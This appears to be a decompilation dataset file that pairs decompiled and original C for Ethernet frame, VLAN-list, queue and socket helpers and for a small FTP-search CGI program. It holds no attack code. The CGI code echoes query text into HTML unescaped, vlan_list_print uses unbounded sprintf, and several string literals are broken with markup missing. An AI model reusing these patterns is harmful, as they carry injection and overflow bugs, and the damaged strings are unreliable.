decompiled_code:
unsigned __int64 __fastcall frame_src_mac(__int64 a1)
{
return ((unsigned __int64)*(unsigned __int16 *)(a1 + 10) << 32) | *(unsigned int *)(a1 + 6);
}

canonical_decompiled_code:
unsigned __int64 __fastcall func7(__int64 a1)
{
return ((unsigned __int64)*(unsigned __int16 *)(a1 + 10) << 32) | *(unsigned int *)(a1 + 6);
}

original_code:
mac_t frame_src_mac(frame_t* f) {
 return f->src_mac;
}

canonical_original_code:
struct mac_addr_t frame_src_mac(struct frame *f) {
 return f->src_mac;
}

variable_types: struct frame { struct mac_addr_t dst_mac; struct mac_addr_t src_mac; unsigned short tpid; unsigned short tci; char content[1502]; unsigned long content_len; } *

return_type: struct mac_addr_t { unsigned char a[6]; }


decompiled_code:
unsigned __int64 __fastcall frame_dst_mac(unsigned int *a1)
{
return ((unsigned __int64)*((unsigned __int16 *)a1 + 2) << 32) | *a1;
}

canonical_decompiled_code:
unsigned __int64 __fastcall func8(unsigned int *a1)
{
return ((unsigned __int64)*((unsigned __int16 *)a1 + 2) << 32) | *a1;
}

original_code:
mac_t frame_dst_mac(frame_t* f) {
 return f->dst_mac;
}

canonical_original_code:
struct mac_addr_t frame_dst_mac(struct frame *f) {
 return f->dst_mac;
}

user_defined_types: struct mac_addr_t { unsigned char a[6]; }

user_defined_types: struct frame { struct mac_addr_t dst_mac; struct mac_addr_t src_mac; unsigned short tpid; unsigned short tci; char content[1502]; unsigned long content_len; }


decompiled_code:
int __fastcall print_frame_header(unsigned __int16 *a1)
{
_BOOL4 v1; // eax
__int64 v2; // rcx
char v4[32]; // [rsp+0h] [rbp-48h] BYREF
char v5[40]; // [rsp+20h] [rbp-28h] BYREF

mac_to_str(
((unsigned __int64)*((unsigned __int8 *)a1 + 10) << 32) | ((unsigned __int64)*((unsigned __int8 *)a1 + 8) << 16) | a1[3] | ((unsigned __int64)*((unsigned __int8 *)a1 + 9) << 24) | ((unsigned __int64)*((unsigned __int8 *)a1 + 11) << 40),
v5);
mac_to_str(
((unsigned __int64)*((unsigned __int8 *)a1 + 4) << 32) | ((unsigned __int64)*((unsigned __int8 *)a1 + 2) << 16) | *a1 | ((unsigned __int64)*((unsigned __int8 *)a1 + 3) << 24) | ((unsigned __int64)*((unsigned __int8 *)a1 + 5) << 40),
v4);
v1 = frame_is_tagged((__int64)a1);
v2 = v1;
if ( v1 )
v2 = (unsigned int)frame_vlan((__int64)a1);
return printf("%s | %s | %d\n", v5, v4, v2);
}

original_code:
void print_frame_header(frame_t* f) {
 char smac[18], dmac[18];
 mac_to_str(f->src_mac, smac);
 mac_to_str(f->dst_mac, dmac);
 printf("%s | %s | %d\n", smac, dmac,
     frame_is_tagged(f) ? frame_vlan(f) : 0);
}

canonical_original_code:
void print_frame_header(struct frame *f) {
 char smac[18]; char dmac[18];
 mac_to_str(f->src_mac, smac);
 mac_to_str(f->dst_mac, dmac);
 printf("%s | %s | %d\n", smac, dmac,
     frame_is_tagged(f) ? frame_vlan(f) : 0);
}

variable_types: struct frame { struct mac_addr_t { unsigned char a[6]; } dst_mac; struct mac_addr_t src_mac; unsigned short tpid; unsigned short tci; char content[1502]; unsigned long content_len; } *

variable_types:
smac
char [18]

variable_types:
dmac
char [18]

return_type: void


decompiled_code:
_BOOL8 __fastcall vlan_list_exists(__int64 a1, __int16 a2)
{
for ( ; a1; a1 = *(_QWORD *)(a1 + 8) )
{
if ( *(_WORD *)a1 == a2 )
break;
}
return a1 != 0;
}

original_code:
int vlan_list_exists(vlan_list_t* list, uint16_t v) {
 vlan_list_t* elt = list;
 while (elt != ((void *)0) && elt->vlan != v)
  elt = elt->next;
 return (elt != ((void *)0));
}

canonical_original_code:
int vlan_list_exists(struct vlan_node *list, unsigned short v) {
 struct vlan_node *elt = list;
 while (elt != ((void *)0) && elt->vlan != v)
  elt = elt->next;
 return (elt != ((void *)0));
}

variable_types: struct vlan_node { unsigned short vlan; struct vlan_node *next; } *

variable_types:
v
unsigned short

return_type: int


decompiled_code:
__int64 __fastcall vlan_list_add(__int64 *a1, __int16 a2)
{
__int64 v2; // r13
unsigned int v3; // ebx
_QWORD *v4; // rax

v2 = *a1;
v3 = 6;
if ( !vlan_list_exists(*a1, a2) )
{
v3 = 0;
v4 = malloc(0x10uLL);
*(_WORD *)v4 = a2;
v4[1] = 0LL;
if ( v2 )
v4[1] = v2;
*a1 = (__int64)v4;
}
return v3;
}

original_code:
int vlan_list_add(vlan_list_t** list_ptr, uint16_t v) {
 if (vlan_list_exists(*list_ptr, v))
  return 6;
 vlan_list_t* new = malloc(sizeof (vlan_list_t));
 new->vlan = v;
 new->next = ((void *)0);
 if (*list_ptr == ((void *)0)) {
  *list_ptr = new;
 } else {
  new->next = *list_ptr;
  *list_ptr = new;
 }
 return 0;
}

canonical_original_code:
int vlan_list_add(struct vlan_node **list_ptr, unsigned short v) {
 if (vlan_list_exists(*list_ptr, v))
  return 6;
 struct vlan_node *new = malloc(sizeof (vlan_list_t));
 new->vlan = v;
 new->next = ((void *)0);
 if (*list_ptr == ((void *)0)) {
  *list_ptr = new;
 } else {
  new->next = *list_ptr;
  *list_ptr = new;
 }
 return 0;
}

variable_types: struct vlan_node { unsigned short vlan; struct vlan_node *next; } **


decompiled_code:
void __fastcall delete_vlan_list(void *ptr)
{
if ( ptr )
{
delete_vlan_list(*((void **)ptr + 1));
free(ptr);
}
}

canonical_decompiled_code:
void __fastcall func2(void *ptr)
{
if ( ptr )
{
func2(*((void **)ptr + 1));
free(ptr);
}
}

original_code:
void delete_vlan_list(vlan_list_t* list) {
 if (list != ((void *)0)) {
  delete_vlan_list(list->next);
  free(list);
 }
}

canonical_original_code:
void delete_vlan_list(struct vlan_node *list) {
 if (list != ((void *)0)) {
  delete_vlan_list(list->next);
  free(list);
 }
}

user_defined_types: struct vlan_node { unsigned short vlan; struct vlan_node *next; }


decompiled_code:
void __fastcall vlan_list_print(__int64 a1, unsigned __int16 *a2)
{
unsigned __int16 *v2; // rbx
int v3; // ebp

if ( a2 )
{
v2 = a2;
v3 = 0;
do
{
v3 += sprintf((char *)(a1 + v3), "%dt,", *v2);
v2 = (unsigned __int16 *)*((_QWORD *)v2 + 1);
}
while ( v2 );
}
}

canonical_decompiled_code:
void __fastcall func3(__int64 a1, unsigned __int16 *a2)
{
unsigned __int16 *v2; // rbx
int v3; // ebp

if ( a2 )
{
v2 = a2;
v3 = 0;
do
{
v3 += sprintf((char *)(a1 + v3), "%dt,", *v2);
v2 = (unsigned __int16 *)*((_QWORD *)v2 + 1);
}
while ( v2 );
}
}

original_code:
void vlan_list_print(char* buf, vlan_list_t* list) {
 vlan_list_t* elt = list;
 int w = 0;
 while (elt != ((void *)0)) {
  w += sprintf(buf + w, "%dt,", elt->vlan);
  elt = elt->next;
 }
}

canonical_original_code:
void vlan_list_print(char *buf, struct vlan_node *list) {
 struct vlan_node *elt = list;
 int w = 0;
 while (elt != ((void *)0)) {
  w += sprintf(buf + w, "%dt,", elt->vlan);
  elt = elt->next;
 }
}

variable_types:
buf
char *

variable_types: w int


decompiled_code:
_QWORD *frame_queue_new()
{
_QWORD *result; // rax

result = malloc(0x18uLL);
result[1] = 0LL;
*result = 0LL;
result[2] = 0LL;
return result;
}

canonical_decompiled_code:
_QWORD *func0()
{
_QWORD *result; // rax

result = malloc(0x18uLL);
result[1] = 0LL;
*result = 0LL;
result[2] = 0LL;
return result;
}

original_code:
frame_queue_t* frame_queue_new() {
 frame_queue_t* q = malloc(sizeof (frame_queue_t));
 q->head = q->last = ((void *)0);
 q->size = 0;
 return q;
}

canonical_original_code:
struct frame_queue *frame_queue_new() {
 struct frame_queue *q = malloc(sizeof (frame_queue_t));
 q->head = q->last = ((void *)0);
 q->size = 0;
 return q;
}

variable_types: struct frame_queue { struct frame_node { struct frame_node *next; struct frame { struct mac_addr_t { unsigned char a[6]; } dst_mac; struct mac_addr_t src_mac; unsigned short tpid; unsigned short tci; char content[1502]; unsigned long content_len; } frame; } *head; struct frame_node *last; unsigned long size; } *

user_defined_types: struct frame_queue { struct frame_node *head; struct frame_node *last; unsigned long size; }

user_defined_types: struct frame_node { struct frame_node *next; struct frame frame; }


decompiled_code:
_BOOL8 __fastcall frame_queue_is_empty(_QWORD *a1)
{
return *a1 == 0LL;
}

canonical_decompiled_code:
_BOOL8 __fastcall func1(_QWORD *a1)
{
return *a1 == 0LL;
}

original_code:
int frame_queue_is_empty(frame_queue_t* q) {
 return q->head == ((void *)0);
}

canonical_original_code:
int frame_queue_is_empty(struct frame_queue *q) {
 return q->head == ((void *)0);
}


original_code:
int frame_queue_push(frame_queue_t* q, frame_t* f) {
 if (q->size + sizeof (frame_t) > 64000)
  return 0;
 frame_node_t* new_node = malloc(sizeof (frame_node_t));
 new_node->frame = *f;
 new_node->next = ((void *)0);
 if (q->head == ((void *)0)) {
  q->head = new_node;
  q->last = q->head;
 } else {
  q->last->next = new_node;
  q->last = new_node;
 }
 q->size += sizeof (frame_t);
 return 1;
}

canonical_original_code:
int frame_queue_push(struct frame_queue *q, struct frame *f) {
 if (q->size + sizeof (frame_t) > 64000)
  return 0;
 struct frame_node *new_node = malloc(sizeof (frame_node_t));
 new_node->frame = *f;
 new_node->next = ((void *)0);
 if (q->head == ((void *)0)) {
  q->head = new_node;
  q->last = q->head;
 } else {
  q->last->next = new_node;
  q->last = new_node;
 }
 q->size += sizeof (frame_t);
 return 1;
}

variable_types:
f
struct frame *

variable_types: struct frame_node { struct frame_node *next; struct frame { struct mac_addr_t { unsigned char a[6]; } dst_mac; struct mac_addr_t src_mac; unsigned short tpid; unsigned short tci; char content[1502]; unsigned long content_len; } frame; } *


decompiled_code:
void __fastcall frame_queue_pop(__int64 a1, _QWORD *a2)
{
_QWORD *v4; // rax
char *v5; // rsi
void *v6; // rdi

v4 = *(_QWORD **)a1;
v5 = (char *)(*(_QWORD *)a1 + 8LL);
*a2 = *(_QWORD *)v5;
*(_QWORD *)((char *)a2 + 1518) = *(_QWORD *)((char *)v4 + 1526);
qmemcpy(
(void *)((unsigned __int64)(a2 + 1) & 0xFFFFFFFFFFFFFFF8LL),
(const void *)(v5 - ((char *)a2 - ((unsigned __int64)(a2 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
8LL * (((unsigned int)a2 - (((_DWORD)a2 + 8) & 0xFFFFFFF8) + 1526) >> 3));
v6 = *(void **)a1;
*(_QWORD *)a1 = **(_QWORD **)a1;
free(v6);
if ( !*(_QWORD *)(a1 + 8) )
*(_QWORD *)(a1 + 8) = *(_QWORD *)a1;
*(_QWORD *)(a1 + 16) -= 1526LL;
}

original_code:
void frame_queue_pop(frame_queue_t* q, frame_t* frame) {
 memcpy(frame, &q->head->frame, sizeof (frame_t));
 frame_node_t* old_head = q->head;
 q->head = q->head->next;
 free(old_head);
 if (q->last == ((void *)0))
  q->last = q->head;
 q->size -= sizeof (frame_t);
}

canonical_original_code:
void frame_queue_pop(struct frame_queue *q, struct frame *frame) {
 memcpy(frame, &q->head->frame, sizeof (frame_t));
 struct frame_node *old_head = q->head;
 q->head = q->head->next;
 free(old_head);
 if (q->last == ((void *)0))
  q->last = q->head;
 q->size -= sizeof (frame_t);
}

variable_types:
frame
struct frame *


decompiled_code:
__int64 __fastcall starts_with(const char *a1, const char *a2)
{
size_t v2; // r12
size_t v3; // rax
size_t v4; // rdx
__int64 v5; // rax

v2 = strlen(a1);
v3 = strlen(a2);
if ( !v3 )
return 1LL;
v4 = v3;
if ( !v2 )
return 0LL;
v5 = 0LL;
while ( a1[v5] == a2[v5] )
{
if ( v4 == ++v5 )
return 1LL;
if ( v2 == v5 )
return 0LL;
}
return 0LL;
}

canonical_decompiled_code:
__int64 __fastcall func2(const char *a1, const char *a2)
{
size_t v2; // r12
size_t v3; // rax
size_t v4; // rdx
__int64 v5; // rax

v2 = strlen(a1);
v3 = strlen(a2);
if ( !v3 )
return 1LL;
v4 = v3;
if ( !v2 )
return 0LL;
v5 = 0LL;
while ( a1[v5] == a2[v5] )
{
if ( v4 == ++v5 )
return 1LL;
if ( v2 == v5 )
return 0LL;
}
return 0LL;
}

original_code:
int starts_with(char* text, char* prefix) {
 size_t i;
 size_t text_len = strlen(text);
 size_t prefix_len = strlen(prefix);
 for (i = 0; i < prefix_len; i++) {
  if (i >= text_len || text[i] != prefix[i])
   return 0;
 }
 return 1;
}

canonical_original_code:
int starts_with(char *text, char *prefix) {
 unsigned long i;
 unsigned long text_len = strlen(text);
 unsigned long prefix_len = strlen(prefix);
 for (i = 0; i < prefix_len; i++) {
  if (i >= text_len || text[i] != prefix[i])
   return 0;
 }
 return 1;
}

variable_types:
text
char *

variable_types:
prefix
char *

variable_types:
i
unsigned long


decompiled_code:
__int64 __fastcall sockaddr_from_host_port(const char *a1, const char *a2, _QWORD *a3, socklen_t *a4)
{
unsigned int v6; // ebx
struct addrinfo *v7; // r13
struct addrinfo v9; // [rsp+0h] [rbp-68h] BYREF
struct addrinfo *pai; // [rsp+38h] [rbp-30h] BYREF

pai = 0LL;
*(_QWORD *)&v9.ai_flags = 0x200000000LL;
*(_QWORD *)&v9.ai_addrlen = 0LL;
v9.ai_addr = 0LL;
v9.ai_canonname = 0LL;
v9.ai_next = 0LL;
v9.ai_socktype = 1;
v9.ai_protocol = 6;
v6 = 4;
if ( !getaddrinfo(a1, a2, &v9, &pai) )
{
v6 = 0;
*a3 = 0LL;
v7 = pai;
memcpy(a3, pai->ai_addr, pai->ai_addrlen);
*a4 = v7->ai_addrlen;
freeaddrinfo(v7);
}
return v6;
}

canonical_decompiled_code:
__int64 __fastcall func3(const char *a1, const char *a2, _QWORD *a3, socklen_t *a4)
{
unsigned int v6; // ebx
struct addrinfo *v7; // r13
struct addrinfo v9; // [rsp+0h] [rbp-68h] BYREF
struct addrinfo *pai; // [rsp+38h] [rbp-30h] BYREF

pai = 0LL;
*(_QWORD *)&v9.ai_flags = 0x200000000LL;
*(_QWORD *)&v9.ai_addrlen = 0LL;
v9.ai_addr = 0LL;
v9.ai_canonname = 0LL;
v9.ai_next = 0LL;
v9.ai_socktype = 1;
v9.ai_protocol = 6;
v6 = 4;
if ( !getaddrinfo(a1, a2, &v9, &pai) )
{
v6 = 0;
*a3 = 0LL;
v7 = pai;
memcpy(a3, pai->ai_addr, pai->ai_addrlen);
*a4 = v7->ai_addrlen;
freeaddrinfo(v7);
}
return v6;
}

original_code:
int sockaddr_from_host_port(char* host, char* port,
    struct sockaddr_in* result, socklen_t* len) {
 struct addrinfo* addr_result = ((void *)0);
 struct addrinfo addr_hints;
 memset(&addr_hints, 0, sizeof (struct addrinfo));
 addr_hints.ai_family = 2;
 addr_hints.ai_socktype = SOCK_STREAM;
 addr_hints.ai_protocol = IPPROTO_TCP;
 if (getaddrinfo(host, port, &addr_hints, &addr_result) != 0)
  return 4;
 memset(result, 0, sizeof (result));
 memcpy(result, addr_result->ai_addr, addr_result->ai_addrlen);
 *len = addr_result->ai_addrlen;
 freeaddrinfo(addr_result);
 return 0;
}

canonical_original_code:
int sockaddr_from_host_port(char *host, char *port, struct sockaddr_in *result, unsigned int *len) {
 struct addrinfo *addr_result = ((void *)0);
 struct addrinfo addr_hints;
 memset(&addr_hints, 0, sizeof (struct addrinfo));
 addr_hints.ai_family = 2;
 addr_hints.ai_socktype = SOCK_STREAM;
 addr_hints.ai_protocol = IPPROTO_TCP;
 if (getaddrinfo(host, port, &addr_hints, &addr_result) != 0)
  return 4;
 memset(result, 0, sizeof (result));
 memcpy(result, addr_result->ai_addr, addr_result->ai_addrlen);
 *len = addr_result->ai_addrlen;
 freeaddrinfo(addr_result);
 return 0;
}

variable_types:
host
char *

variable_types:
port
char *

variable_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; } *

variable_types:
len
unsigned int *

variable_types: struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr { unsigned short sa_family; char sa_data[14]; } *ai_addr; char *ai_canonname; struct addrinfo *ai_next; } *

user_defined_types: struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr *ai_addr; char *ai_canonname; struct addrinfo *ai_next; }

user_defined_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }


decompiled_code:
__int64 __fastcall setup_udp(int *a1, __int16 a2)
{
int v2; // ebx
__int64 result; // rax
struct sockaddr v4; // [rsp+0h] [rbp-28h] BYREF

v4.sa_family = 2;
*(_DWORD *)&v4.sa_data[2] = _bswap_32(0);
*(_WORD *)v4.sa_data = _bswap_16(a2);
v2 = socket(2, 2, 0);
result = 8LL;
if ( v2 >= 0 )
{
if ( bind(v2, &v4, 0x10u) < 0 )
{
result = 8LL;
}
else
{
*a1 = v2;
result = 0LL;
}
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func4(int *a1, __int16 a2)
{
int v2; // ebx
__int64 result; // rax
struct sockaddr v4; // [rsp+0h] [rbp-28h] BYREF

v4.sa_family = 2;
*(_DWORD *)&v4.sa_data[2] = func0(0);
*(_WORD *)v4.sa_data = func1(a2);
v2 = socket(2, 2, 0);
result = 8LL;
if ( v2 >= 0 )
{
if ( bind(v2, &v4, 0x10u) < 0 )
{
result = 8LL;
}
else
{
*a1 = v2;
result = 0LL;
}
}
return result;
}

original_code:
int setup_udp(int *fd, uint16_t lis_port) {
 struct sockaddr_in lis_addr;
 lis_addr.sin_family = 2;
 lis_addr.sin_addr.s_addr = htonl(((in_addr_t) 0x00000000));
 lis_addr.sin_port = htons(lis_port);
 int udp_sock = socket(2, SOCK_DGRAM, 0);
 if (udp_sock < 0)
  return 8;
 if (bind(udp_sock, (struct sockaddr*) &lis_addr,
     (socklen_t) sizeof (lis_addr)) < 0)
  return 8;
 *fd = udp_sock;
 return 0;
}

canonical_original_code:
int setup_udp(int *fd, unsigned short lis_port) {
 struct sockaddr_in lis_addr;
 lis_addr.sin_family = 2;
 lis_addr.sin_addr.s_addr = htonl(((unsigned int) 0x00000000));
 lis_addr.sin_port = htons(lis_port);
 int udp_sock = socket(2, SOCK_DGRAM, 0);
 if (udp_sock < 0)
  return 8;
 if (bind(udp_sock, (struct sockaddr *) &lis_addr,
     (unsigned int) sizeof (lis_addr)) < 0)
  return 8;
 *fd = udp_sock;
 return 0;
}

variable_types:
fd
int *

variable_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }

user_defined_types: struct sockaddr { unsigned short sa_family; char sa_data[14]; }


decompiled_code:
__int64 __fastcall get_error_message(int a1)
{
return (__int64)*(&err_messages + a1);
}

canonical_decompiled_code:
__int64 __fastcall func0(int a1)
{
return (__int64)*(&err_messages + a1);
}

original_code:
char* get_error_message(int error_code) {
 return err_messages[error_code];
}

canonical_original_code:
char *get_error_message(int error_code) {
 return err_messages[error_code];
}

return_type: char *


repo: wizardcypress/simple-ftp-search-engine

decompiled_code:
int put_head()
{
puts("Content-Type: text/html; charset=GBK\r\n\r");
puts("<head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=GBK\">\r");
printf("<TITLE>%s</TITLE></head>\n", "Result");
printf("<script language=\"javascript\">function direct(site){ window.location=site;}</script>");
return fflush(stdout);
}

canonical_decompiled_code:
int func8()
{
puts("Content-Type: text/html; charset=GBK\r\n\r");
puts("<head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=GBK\">\r");
printf("<TITLE>%s</TITLE></head>\n", "Result");
printf("<script language=\"javascript\">function direct(site){ window.location=site;}</script>");
return fflush(stdout);
}

original_code:
void put_head()
{
  printf("Content-Type: text/html; charset=GBK\r\n\r\n");
  printf("<head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=GBK\">\r\n");
  printf("<TITLE>%s</TITLE></head>\n","Result");
 printf("<script language=\"javascript\">function direct(site){ window.location=site;}</script>");
    fflush(stdout);
}


decompiled_code:
void __fastcall __noreturn err_sys(const char *a1)
{
printf("<h2>%s<h2>", a1);
exit(0);
}

canonical_decompiled_code:
void __fastcall __noreturn func9(const char *a1)
{
printf("<h2>%s<h2>", a1);
exit(0);
}

original_code:
void err_sys(char *msg)
{
  printf("<h2>%s<h2>",msg);
  exit(0);
}

variable_types:
msg
char *


decompiled_code:
int output_result()
{
FILE *v0; // rax
int v1; // eax
unsigned int v3; // [rsp+8h] [rbp-10h]
unsigned int v4; // [rsp+Ch] [rbp-Ch]

v0 = fdopen(sockfd, "r");
result = v0;
if ( !v0 )
err_sys("Open socket error");
fgets(buf, 1024, v0);
byte_40415F[strlen(buf)] = 0;
printf(
"
Simple Ftp Search Engine
<form action=\"/cgi-bin/search\">\t<input type=\"text\" maxlength=\"20\" value=\"%s"
"\" name=\"q\"/><select name=\"list_num\">\t <option value =\"20\">20</option>\t <option value =\"50\">50</option>\t"
" <option value=\"100\">100</option>\t</select>\t<input type=\"submit\" /></form> ",
buf);
__isoc99_fscanf();
__isoc99_fscanf();
gettimeofday(&tvafter, &tz);
printf(
"
Time cost: %.6lfs %d / %d files were found.
",
(double)SLODWORD(tvafter.tv_sec)
- (double)SLODWORD(tvbef.tv_sec)
+ (double)(LODWORD(tvafter.tv_usec) - LODWORD(tvbef.tv_usec)) / 1000000.0,
v4,
v3);
printf("
");
while ( 1 )
{
v1 = fread(buf, 1uLL, 0x3FFuLL, result);
if ( v1 <= 0 )
break;
buf[v1] = 0;
printf("%s", buf);
}
printf(
"

Any suggestion?
<form action=\"/cgi-bin/addsuggest.py\" method=\"POST\"><textarea rows=\"5\" cols=\"50\""
" name=\"suggest\"></textarea><input type=\"submit\" value=\"submit\"/></form>");
return fflush(stdout);
}

canonical_decompiled_code:
int func10()
{
FILE *v0; // rax
int v1; // eax
unsigned int v3; // [rsp+8h] [rbp-10h]
unsigned int v4; // [rsp+Ch] [rbp-Ch]

v0 = fdopen(sockfd, "r");
result = v0;
if ( !v0 )
func9("Open socket error");
fgets(buf, 1024, v0);
byte_40415F[strlen(buf)] = 0;
printf(
"
Simple Ftp Search Engine
<form action=\"/cgi-bin/search\">\t<input type=\"text\" maxlength=\"20\" value=\"%s"
"\" name=\"q\"/><select name=\"list_num\">\t <option value =\"20\">20</option>\t <option value =\"50\">50</option>\t"
" <option value=\"100\">100</option>\t</select>\t<input type=\"submit\" /></form> ",
buf);
__isoc99_fscanf();
__isoc99_fscanf();
gettimeofday(&tvafter, &tz);
printf(
"
Time cost: %.6lfs %d / %d files were found.
",
(double)SLODWORD(tvafter.tv_sec)
- (double)SLODWORD(tvbef.tv_sec)
+ (double)(LODWORD(tvafter.tv_usec) - LODWORD(tvbef.tv_usec)) / 1000000.0,
v4,
v3);
printf("
");
while ( 1 )
{
v1 = fread(buf, 1uLL, 0x3FFuLL, result);
if ( v1 <= 0 )
break;
buf[v1] = 0;
printf("%s", buf);
}
printf(
"

Any suggestion?
<form action=\"/cgi-bin/addsuggest.py\" method=\"POST\"><textarea rows=\"5\" cols=\"50\""
" name=\"suggest\"></textarea><input type=\"submit\" value=\"submit\"/></form>");
return fflush(stdout);
}

original_code:
void output_result()
{
  int n,tot_found,tot_file;
  result=fdopen(sockfd,"r");
  if(result==((void *)0)) err_sys("Open socket  error");
  fgets(buf,sizeof(buf),result);
  buf[strlen(buf)-1]='\0';
  printf("
Simple Ftp Search Engine
<form action=\"/cgi-bin/search\">	<input type=\"text\" maxlength=\"20\" value=\"%s\" name=\"q\"/><select name=\"list_num\">	  <option value =\"20\">20</option>	  <option value =\"50\">50</option>	  <option value=\"100\">100</option>	</select>	<input type=\"submit\" /></form> ",buf);
  fscanf(result,"%d",&tot_found);
  fscanf(result,"%d",&tot_file);
  gettimeofday(&tvafter,&tz);
  double tot_time=(1.0*tvafter.tv_sec-tvbef.tv_sec)
                                    +1.0*(tvafter.tv_usec-tvbef.tv_usec)/1000000;
  printf("
Time cost: %.6lfs       %d / %d files were found.
",tot_time,tot_found,tot_file);
  printf("
");
  while((n=fread(buf,sizeof(char),sizeof(buf)-1,result))>0)
  {
    buf[n]='\0';
    printf("%s",buf);
  }
  printf("

Any suggestion?
<form action=\"/cgi-bin/addsuggest.py\" method=\"POST\"><textarea rows=\"5\" cols=\"50\" name=\"suggest\"></textarea><input type=\"submit\" value=\"submit\"/></form>");
  fflush(stdout);
}

canonical_original_code:
void output_result()
{
  int n; int tot_found; int tot_file;
  result=fdopen(sockfd,"r");
  if(result==((void *)0)) err_sys("Open socket  error");
  fgets(buf,sizeof(buf),result);
  buf[strlen(buf)-1]='\0';
  printf("
Simple Ftp Search Engine
<form action=\"/cgi-bin/search\">	<input type=\"text\" maxlength=\"20\" value=\"%s\" name=\"q\"/><select name=\"list_num\">	  <option value =\"20\">20</option>	  <option value =\"50\">50</option>	  <option value=\"100\">100</option>	</select>	<input type=\"submit\" /></form> ",buf);
  fscanf(result,"%d",&tot_found);
  fscanf(result,"%d",&tot_file);
  gettimeofday(&tvafter,&tz);
  double tot_time = (1.0*tvafter.tv_sec-tvbef.tv_sec)
                                    +1.0*(tvafter.tv_usec-tvbef.tv_usec)/1000000;
  printf("
Time cost: %.6lfs       %d / %d files were found.
",tot_time,tot_found,tot_file);
  printf("
");
  while((n=fread(buf,sizeof(char),sizeof(buf)-1,result))>0)
  {
    buf[n]='\0';
    printf("%s",buf);
  }
  printf("

Any suggestion?
<form action=\"/cgi-bin/addsuggest.py\" method=\"POST\"><textarea rows=\"5\" cols=\"50\" name=\"suggest\"></textarea><input type=\"submit\" value=\"submit\"/></form>");
  fflush(stdout);
}

variable_types: n int


decompiled_code:
int send_query()
{
char *v0; // rbx
FILE *v1; // rdi
char v2; // al
char *v3; // rdx
unsigned int i; // ecx
char v5; // di
char *v6; // rbx

v0 = getenv("QUERY_STRING");
sockfd = socket(2, 1, 0);
*(_QWORD *)&servaddr.sa_family = 2LL;
*(_QWORD *)&servaddr.sa_data[6] = 0LL;
*(_WORD *)servaddr.sa_data = _bswap_16(54413);
inet_pton(2, LOCAL_HOST, &servaddr.sa_data[2]);
if ( connect(sockfd, &servaddr, 0x10u) < 0 )
err_sys("Connect to daemon error. (Maybe searchd is not running~.~)\n");
v1 = fdopen(sockfd, "w");
consult = v1;
if ( !v1 )
err_sys("Connect to daemon error.(Can not fetch result.)\n");
v2 = *v0;
v3 = v0 + 1;
for ( i = 1; v2; v2 = *(v3 - 1) )
{
i += v2 == 38;
++v3;
}
fprintf(v1, "%d\n", i);
v5 = *v0;
if ( *v0 )
{
v6 = v0 + 1;
do
{
if ( v5 == 38 )
fputc(10, consult);
else
fputc(v5, consult);
v5 = *v6++;
}
while ( v5 );
}
fputc(10, consult);
fflush(consult);
return gettimeofday(&tvbef, &tz);
}

canonical_decompiled_code:
int func12()
{
char *v0; // rbx
FILE *v1; // rdi
char v2; // al
char *v3; // rdx
unsigned int i; // ecx
char v5; // di
char *v6; // rbx

v0 = getenv("QUERY_STRING");
sockfd = socket(2, 1, 0);
*(_QWORD *)&servaddr.sa_family = 2LL;
*(_QWORD *)&servaddr.sa_data[6] = 0LL;
*(_WORD *)servaddr.sa_data = func7(54413);
inet_pton(2, LOCAL_HOST, &servaddr.sa_data[2]);
if ( connect(sockfd, &servaddr, 0x10u) < 0 )
func9("Connect to daemon error. (Maybe searchd is not running~.~)\n");
v1 = fdopen(sockfd, "w");
consult = v1;
if ( !v1 )
func9("Connect to daemon error.(Can not fetch result.)\n");
v2 = *v0;
v3 = v0 + 1;
for ( i = 1; v2; v2 = *(v3 - 1) )
{
i += v2 == 38;
++v3;
}
fprintf(v1, "%d\n", i);
v5 = *v0;
if ( *v0 )
{
v6 = v0 + 1;
do
{
if ( v5 == 38 )
fputc(10, consult);
else
fputc(v5, consult);
v5 = *v6++;
}
while ( v5 );
}
fputc(10, consult);
fflush(consult);
return gettimeofday(&tvbef, &tz);
}

original_code:
void send_query()
{
  int i,argc;
  char *q=getenv("QUERY_STRING");
  sockfd=socket(2,SOCK_STREAM,0);
  bzero(&servaddr,sizeof(servaddr));
  servaddr.sin_family=2;
  servaddr.sin_port=htons(54413);
  inet_pton(2,LOCAL_HOST,&servaddr.sin_addr);
  if(connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr))<0)
    err_sys("Connect to daemon error. (Maybe searchd is not running~.~)\n");
  if((consult=fdopen(sockfd,"w"))==((void *)0))
     err_sys("Connect to daemon error.(Can not fetch result.)\n");
  argc=1;
  for(i=0;q[i];i++) if(q[i]=='&') argc++;
  fprintf(consult,"%d\n",argc);
  for(i=0;q[i];i++)
    if(q[i]=='&') fputc('\n',consult);
    else fputc(q[i],consult);
  fputc('\n',consult);
  fflush(consult);
  gettimeofday(&tvbef,&tz);
}

canonical_original_code:
void send_query()
{
  int i; int argc;
  char *q = getenv("QUERY_STRING");
  sockfd=socket(2,SOCK_STREAM,0);
  bzero(&servaddr,sizeof(servaddr));
  servaddr.sin_family=2;
  servaddr.sin_port=htons(54413);
  inet_pton(2,LOCAL_HOST,&servaddr.sin_addr);
  if(connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr))<0)
    err_sys("Connect to daemon error. (Maybe searchd is not running~.~)\n");
  if((consult=fdopen(sockfd,"w"))==((void *)0))
     err_sys("Connect to daemon error.(Can not fetch result.)\n");
  argc=1;
  for(i=0;q[i];i++) if(q[i]=='&') argc++;
  fprintf(consult,"%d\n",argc);
  for(i=0;q[i];i++)
    if(q[i]=='&') fputc('\n',consult);
    else fputc(q[i],consult);
  fputc('\n',consult);
  fflush(consult);
  gettimeofday(&tvbef,&tz);
}

variable_types: i int

variable_types: argc int

variable_types:
q
char *


main

canonical_name: main

decompiled_code:
